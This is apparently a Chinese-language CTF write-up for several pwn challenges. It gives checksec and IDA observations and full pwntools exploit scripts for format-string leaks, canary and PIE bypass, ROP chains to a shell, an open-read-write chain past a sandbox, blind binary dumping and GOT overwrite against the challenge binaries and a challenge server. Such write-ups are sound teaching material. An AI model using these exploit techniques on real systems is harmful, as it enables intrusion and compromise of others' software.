sign
checksec

开了 PIE 和 canary ,可能会有点棘手?
IDA

攻击思路
好吧,其实只是个简单的整型编码问题,,,
注意到 2916788906 (unsigned int) 的编码 与 -1378178390 (int) 的编码相同,均为 0xADDAAAAA ,所以往 v[27] 上写入 0xADDAAAAA 就可以拿到权限啦
exp
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
io = process('./sign') pid = pidof(io)[0]
payload = b'A' * (27 * 4) + p64(2916788906) io.sendline(payload)
io.interactive()
|
ez_fmt
checksec

开了 PIE 和 canary 欸?
IDA


攻击思路
注意到有格式化字符串漏洞,故考虑第一次 read 直接泄露 PIE 和 canary ,,,
第二次 read 有明显的栈溢出漏洞,利用泄露出的 PIE 计算出后门函数 win 的地址,再构造 payload 把泄露出的 canary 放上去然后跳转到目标地址就行啦
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
io = process('./ez_fmt')
backdoor = 0x202 payload = b'%23$lx%25$lx'
io.recvuntil(b'input: ') io.sendline(payload)
canary = p64(int(io.recv(16), 16)) addr = p64(int(io.recv(12), 16) // 0x1000 * 0x1000 + 0x202) log.info(f'canary = {hex(u64(canary))}') log.info(f'addr = {hex(u64(addr))}')
payload = b'a' * 0x88 + canary + b'a' * 8 + addr
io.recvuntil(b'input: ') io.send(payload)
io.interactive()
|
ret2rop
checksec

没啥保护喵,,,
IDA
main

这里 scanf 时不要输入 yes ,绕过没啥作用的 demo() ,
vuln

注意到 name 在 .bss 段上,这一点值得利用,且第二次 read 存在栈溢出漏洞,然而后面还有一个奇怪的异或处理,会影响写在栈上的数据,我们需要避开这个影响去构造 payload ,
backdoor

攻击思路
首先画出 vuln 的栈布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| +-------------------+ | ??? | 8 bytes +-------------------+ | ret_addr | 8 bytes +-------------------+ | rbp | 8 bytes +-------------------+ | i | 8 bytes +-------------------+ | n | 8 bytes +-------------------+ | | | mask | 32 bytes | | +-------------------+ | | | buf | 32 bytes | | +-------------------+
|
注意到 n 对应 buf[0x40] ,在异或处理时会被 mask[0x40] 异或掉,而 mask[0x40] 对应 buf[0x60] ,即 ??? 处的数据,我们希望在异或操作影响到 ret_addr 前结束掉,只要修改 n 为 0 即可,那么 ??? 处的数据应该与 n 互补。
方便起见,我们不妨直接读入 0x100 字节令 n = 0x100 ,则令 ??? 处为 0xfffffffffffffeff 即可终止循环。
此外,由于 name 在 .bss 段上,我们可以写入 /bin/sh\x00 ,再利用已有 gadget 构造 rop 链到 call _system 处便可以轻松完成攻击。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
io = process('./ret2rop')
io.recvuntil(b'demo\n') payload = b'\x00' io.sendline(payload)
io.recvuntil(b'name\n') payload = b'/bin/sh\x00' io.sendline(payload)
bss_addr = p64(0x4040F0) pop_rsi_ret = p64(0x401A1C) mov_rdi_rsi_ret = p64(0x401A25) backdoor = p64(0x401A39) ret = p64(0x401C15)
io.recvuntil(b'yourself\n') payload = b'\xFF' * (0x50 + 8) + pop_rsi_ret + p64(0xfffffffffffffeff) + pop_rsi_ret + bss_addr + mov_rdi_rsi_ret + ret + backdoor payload = payload.ljust(0x100, b'\x00') io.sendline(payload)
io.interactive()
|
ez2048
checksec

开了 canary ,喵呜?
IDA
main

buf 在 .bss 段上,这一点可以被利用,,,
playgame

按 q 时 score -= 10 ,我们敏锐地预知到有整数溢出漏洞可以利用,,,
final

果然有整数溢出漏洞啊,初始 score = 50,所以前面 playgame 直接故意 quit 六次就行了。
shell

有多次 read 的机会且存在栈溢出漏洞,,, canary 从 buf[17] 开始,根据 canary 最低 1 字节处为 \x00 的特征,我们可以构造 buf 去使 printf 能够泄露 canary 而不在中途被 \x00 截断。
1 2 3 4 5
| payload = b'A' * (17 * 8 - 1) + b'B' * 2 io.send(payload)
io.recvuntil('AAAAB') canary = p64(u64(io.recv(8)) // 0x100 * 0x100)
|
backdoor

太坏了,还要自己想办法读入 /bin/sh\x00 ,但是在 main 中读入到 buf 上就行啦。
攻击思路
其实上面已经讲的差不多了?
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
io = process('./ez2048')
io.recvuntil('name\n') name = b'/bin/sh\x00' io.sendline(name)
io.recvuntil('game') io.send(b'\n')
for i in range(6): io.recvuntil('points)\n') io.sendline(b'q')
io.recvuntil('round\n') io.sendline(b'a')
io.recvuntil('points)\n') io.sendline(b'q') io.recvuntil('round\n') io.sendline(b'q')
io.recvuntil('$ ') payload = b'A' * (17 * 8 - 1) + b'B' * 2 io.send(payload)
io.recvuntil('AAAAB') canary = p64(u64(io.recv(8)) // 0x100 * 0x100) log.info(f'{hex(u64(canary))}')
pop_rdi_ret = p64(0x40133e) sh = p64(0x404A46) shell = p64(0x401355)
io.recvuntil(b'$ ') payload = b'exit\x00' + b'A' * (17 * 8 - 5) + canary + b'A' * 8 + pop_rdi_ret + sh + shell io.sendline(payload)
io.interactive()
|
ez_stack
checksec

吓哭了
ropper

???我 gadget 呢???
IDA
打开 IDA 一看,函数名没有, C 伪代码没法读,有点绝望地去看了汇编,花了很多时间理清这个程序到底在干什么,,,然后给各个函数命名
main

syscall

原来系统调用号在 r9 里啊。。。。
readrdxbytes

读取 rdx 字节的数据,遇到换行提前停止
mmap

调用了 mmap syscall ,在 0x114514000 开了一页 rwx 区域,但只从 main 中得知只允许写入 16 字节,考虑拿来写缺少的 gadget 和字符串,
nosyscall

rwx 区域 syscall の gadget 写入禁止,

有问题就无情地 exit ,
doyoulikegift

泄露了 main 的地址,可用于绕过 PIE 保护
泄露了栈的地址,可用于在连续的 leave 指令下稳定 rbp 和 rsp
retaddrerror

栈溢出但防止返回地址被篡改,不过没关系,PIE 保护已经可以绕过了
感觉到这里已经可以完成攻击了?只要把 /bin/sh\x00 写到 0x114514000 区域就可以 ret2syscall 了吧?并非。
init_array

这是什么鸭?初始化的时候调用了什么函数?
prctl


哇是沙箱,我们没救了,,,
拿到权限是不大可能了,因此考虑 orw ,把 /flag\x00\x00\x00 写到 0x114514000 区域,,,
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
io = process('./baby_stack')
gadget = b'\x5F\xC3\x5E\xC3\x5A\xC3\x58\xC3' flag_str = b'/flag\x00\x00\x00' log.info(f'gadget = \n{disasm(gadget)}')
io.recvuntil(b'ISCTF2025!\n') io.send(gadget + flag_str)
io.recvuntil(b'GIFT?\n') main_addr = u64(io.recv(6).ljust(8, b'\x00')) ret_addr = p64(main_addr // 0x100 * 0x100 + 0x9B) syscall_addr = p64(main_addr // 0x1000 * 0x1000 + 0x175) io.recvuntil(b'\n') stack_addr = u64(io.recv(6).ljust(8, b'\x00')) rbp_addr = p64(stack_addr - 0xa8 + 0xe0) heap_top = p64(0x114514100)
log.info(f'main_addr = {hex(main_addr)}') log.info(f'ret_addr = {hex(u64(ret_addr))}') log.info(f'stack_addr = {hex(stack_addr)}') log.info(f'rbp_addr = {hex(u64(rbp_addr))}')
pop_rdi_ret = p64(0x114514000) pop_rsi_ret = p64(0x114514002) pop_rdx_ret = p64(0x114514004) pop_rax_ret = p64(0x114514006) ret = p64(0x114514007) flag_addr = p64(0x114514008)
payload = b'A' * 0x110 + rbp_addr + ret_addr + b'A' * 8
payload += pop_rdi_ret + flag_addr payload += pop_rsi_ret + p64(0) payload += pop_rax_ret + p64(2) payload += syscall_addr + rbp_addr
payload += pop_rdi_ret + p64(3) payload += pop_rsi_ret + heap_top payload += pop_rdx_ret + p64(0x110) payload += pop_rax_ret + p64(0) payload += syscall_addr + rbp_addr
payload += pop_rdi_ret + p64(1) payload += pop_rsi_ret + heap_top payload += pop_rdx_ret + p64(0x110) payload += pop_rax_ret + p64(1) payload += syscall_addr
io.sendline(payload)
io.interactive()
|
bad_box
复读机
???
不是哥们,我写盲打,真的假的?
输入测试
test1

没有格式化字符串漏洞
test2
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
io = remote('challenge.bluesharkinfo.com', 114514)
io.recvuntil(b'fun\n') payload = b'A' * 0x1000 + b'\x00' io.send(payload) io.recvall()
io.interactive()
|

没有溢出?
test3
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
io = remote('challenge.bluesharkinfo.com', 114514)
io.recvuntil(b'fun\n') payload = b'%p' * 0x1000 + b'\x00' io.send(payload) io.recvall()
io.interactive()
|

欸?有格式化字符串漏洞???
事实上,经验证,小于 32 字节的读入不使用格式化字符串输出(遇 \x00 不截断,很可能是 write ),大于 32 字节的读入才使用格式化字符串输出(遇 \x00 截断,很可能是 printf )。
stackleak
既然如此,我们考虑先看看栈上面有什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
io = remote('challenge.bluesharkinfo.com', 114514)
io.recvuntil(b'fun\n') payload = b'%p\n' * 0x3A + b'\x00' io.send(payload) stack_addr = int(io.recvuntil('\n')[:-1], 16) back = io.recvall()
lines = 0 strings = ''
for i in back.decode('utf-8'): strings += i if i == '\n': lines += 1 log.info(f'{hex(stack_addr + lines * 8)} : {strings}') strings = ''
io.interactive()
|

根据栈上泄露出的信息,可知 PIE 保护没有开启, canary 保护开启
然后呢?栈上好像没有什么可利用的点了?
dump
既然如此,不如直接利用格式化字符串漏洞,遍历 0x400000~0x404000 使用 %s 把原程序 dump 下来吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
context.arch = 'amd64'
begin = 0x400000 offset = 0 leaked = 0
while leaked < 0x4000 - offset: try: io = remote('challenge.bluesharkinfo.com', 114514) io.recvuntil(b'fun\n') payload = b'%9$s\x00\x00\x00\x00' payload += p64(begin + leaked + offset) payload += b'\x00' * 0x20 io.send(payload) leak = io.recvall() except: log.info(f'len:{leaked}\n') continue leaked += len(leak) + 1 log.info(f'len:{leaked}\n{disasm(leak + b'\x00')}') io.close() l = open('leak.bin', 'ab') l.write(leak + b'\x00') l.close()
io.interactive()
|
PS: 这个 dump 程序效率有点低,,,每连接一次只 leak 到一个 \x00 边界,大概要跑一个小时吧,,,
IDA
把 dump 下来的程序拖进 IDA 反编译
main

和之前分析的差不多,,,
exit(0) 使劫持返回地址变得不可能,因此我们考虑劫持 got 表。
backdoor

got

明显的劫持 got 表模板,,,
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64'
io = remote('challenge.bluesharkinfo.com', 114514)
io.recvuntil(b'fun\n')
backdoor = 0x40125B exit_got = p64(0x4033A0)
payload = b'%' + str(backdoor).encode() + b'c' payload += b'%10$ln'+ b'\x00' payload += exit_got payload += b'\x00' * 0x20
io.send(payload) io.interactive()
|